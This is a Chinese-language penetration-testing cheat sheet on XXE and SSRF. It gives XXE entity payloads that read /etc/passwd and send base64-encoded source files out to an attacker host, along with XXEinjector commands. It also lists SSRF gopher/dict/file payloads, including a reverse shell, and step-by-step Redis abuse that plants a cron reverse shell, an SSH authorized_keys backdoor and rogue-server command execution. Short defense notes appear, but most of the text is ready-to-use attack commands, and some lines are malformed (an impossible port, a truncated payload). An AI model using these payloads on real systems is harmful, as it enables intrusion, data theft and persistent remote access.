XML是可拓展标识语言的简写;功能是传输数据,不是显示数据;
说明 | 语句 |
---|---|
数据格式 | Content-Type: application/xml Content-Length: 9 <data> <name>zs</name> <pass>123</pass> </data> |
语法结构 一部分是标签的定义, 一部分是标签的解释,标签的解释也称为DTD |
<?xml version="1.1" encode="utf-8"> //标识 <!DOCTYPE data[ //普通实体,内部声明 <!ENTITY name SYSTEM "http://ip:port或者http://dnslog.cn"> //无回显,判断SYSTEM是否可用 <!ENTITY pass SYSTEM "/etc/passwd">//本地文件读取 <!ENTITY %test SYSTEM "http://ip/dtd文件位置"> %test;//远程文件读取 ]> (需要修改底下数据为变量:&name;) //标签+数据 <data> <name>zs</name> <pass>123</pass> </data> 读文件可使用伪协议 |
利用 | 读文件file:///etc/passwd 远程端口探测(内网) http://ip:port/test/ 命令执行(前提:php安装expect扩展) expect://系统命令 |
数据外带 | 本地服务器文件 <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php"> <!ENTITY % xxe "<!ENTITY send SYSTEM 'http://172.16.12.184:9000/?data=%data;'>"> %xxe; 发送文件<br/> <!DOCTYPE user[ <!ENTITY % load SYSTEM "http://172.16.12.184:9000/xxe.dtd"> %load; ]> <user><username>&send;</username><password>pass</password></user> |
各类语言支持的协议:
libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | http | file |
ftp | http | https | http |
http | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzlip2 | netdoc | ||
data | mailto | ||
glob | gopher* | ||
phar |
XXE
概述:
XML实体:XML语言的变量,和PHP、JSP、C语言变量一样,有变量名(实体名)、变量值(实体的值),可以通过&/%引用
XML实体类型:普通实体和参数实体,用下表总结两种实体类型:
类型 | 普通实体 | 参数实体 |
---|---|---|
使用场合用 | 在xml文档中 | 用在DTD文档中 |
声明内部 | <!ENTITY entityName "entityValue"> |
<!ENTITY % entityName "entityValue"> |
外部 | <!ENTITY entityName SYSTEM "外部文件url地址"> |
<!ENTITY % entityName SYSTEM "外部文件url地址"> |
引用方式 | &name; | %name;声明时中间有空格,引用时没空格 |
XXE漏洞原理
概述
XXE漏洞也叫XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件
漏洞的产生
对上传的xml文件没有进行过滤,导致可上传恶意xml文件
漏洞的危害
1、读取任意文件
2、执行系统命令
3、内网端口扫描
4、攻击内网其他网站
漏洞的防御与修复
禁止使用外部实体,例如ibxml_disable_entity_
loader(true)
过滤用户提交的XML数据,防止出现非法内容
XXEinjector.rb使用
操作 | 说明 |
---|---|
启动 | ruby ./XXEinjector.rb |
使用 | 抓取xxe数据包,在data上面加入大写的XXEINJECT ruby XXEinjector.rb –file=D:\x.txt –path=/etc/my.cnf –host=172.16.12.182 –httpport=9999 –phpfilter –verbose –oob=http |
SSRF
SSRF(Server-sideRequestForge,服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。主要用来探测内网信息
存在漏洞的位置:
1、分享:通过URL地址分享网页内容
2、转码服务
3、在线翻译
4、图片加载与下载:通过URL地址加载或下载图片
5、图片、文章收藏功能
6、未公开的api实现以及其他调用URL的功能
7、从URL关键字中寻找
SSRF漏洞危害
端口扫描
内网Web应用指纹识别
攻击内网Web应用
读取本地文件
SSRF漏洞防御与修复
限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求
设置白名单,或限制内网IP,以防止对内网进行攻击
禁止30x跳转
屏蔽返回的详细信息
伪协议读取
协议 | 常见的payload |
---|---|
file协议 ——读取文件 |
curl -v 'file:///etc/passwd' |
dict协议 ——获取目标服务器端口上运行的服务版本等信息 |
curl -v 'dict://127.0.0.1:6379/info' |
gopher协议 ——反弹Shell |
curl –v 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1**** ' bash -i >& /dev/tcp/103.21.140.84/67890>&……' |
利用
方法 | 说明 |
---|---|
获取正常文件 | [http://ip/ssrf/?url=www.baidu.com/robots.txt] |
内网IP探测 [http://x.x.x.x](http://x.x.x.x/) http://x.x.x.1/24 |
输入内网IP,查看返回包,返回正确即存在SSRF。 注:127.0.0.1 IP不能确定存在SSRF 10.x.x.x、172.16.x.x-172.31.x.x、192.168.x.x |
端口探测 dict://x.x.x.x:80/ [gopher://x.x.x.x:80/_1](gopher://x.x.x.x:80/_1) |
当设置参数URL为内网地址时,则会泄露内网信息,比如内网的某个服务是否开放 提交参数: ?url=探测的ip:1234(不存在的端口) 返回结果: 端口没有开放,页面报错 提交参数: http://ip/ssrf/?url=探测的ip:22(开放的端口) 返回结果: 端口开放,页面返回服务相关信息 |
读取系统本地文件 | 利用file协议可以任意读取系统本地文件 提交参数: ?url=file://c:\windows\system32\drivers\etc\hosts |
内网Web应用指纹识别 | 大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。 根据这些信息就可以针对性的搜集漏洞进行攻击。 举例: 判断phpMyAdmin是否安装以及详细版本 提交参数: ?url=http://ip/phpmyadmin/README |
快速找到内网IP
Linux/php或java
file://读网卡文件、DNS配置文件
注:机房IP一般为静态IP
命令:
语句 | 说明 |
---|---|
file:///etc/issue | 内容不显示系统类型,为redhat系列 |
file:///etc/redhat-relese | |
file:///etc/udev/reules.d/70-persistent-net.rules | centos6网卡名称 |
file:///etc/resolv.conf | dns位置 |
file:///etc/sysconfig/network-scripts/ifcfg-eth0 | 网卡信息 |
SSRF利用Redis
url=dict://x.x.x.x:6379/keys+*
Redis常用命令
语句 | 说明 |
---|---|
flushall | 清空数据 |
keys * | 查看数据 |
set key value | 设置键值 |
get key | 获取键的值 |
config set dir / | 设置保存路径 |
config set dbfilename xxx.php | 新建文件 |
save | 保存 |
crontab -e | 设置定时任务 |
反弹shell
nc -lvnp 4444 # 攻击机开启监听
# 连接redis,写定时反弹shell
redis-cli -h 192.168.24.79
flushall
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.24.82/4444 0>&1\n\n" #每分钟执行一次反弹连接
save
ssh登录
语句 | 说明 |
---|---|
ssh-keygen -t rsa | 生成密钥 |
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt | 写入公钥 |
cat ./key.txt | redis-cli -h 192.168.24.79 -x set tide | 将公钥内容设置给redis变量(靶机ip) |
redis-cli -h 192.168.24.79 | 连接 |
config set dir /root/.ssh | 默认公私钥路径 |
config set dbfilename authorized_keys | 写入authorized_keys |
save | 保存 |
命令执行
主从复制,数据同步,从->主,写入.so拓展库,执行系统命令
脚本:redis-rogue-server
命令:python redis-rogue-server.py --rhost=192.168.21.61 --rport=6379 --lhost=192.168.21.112 --lport=1111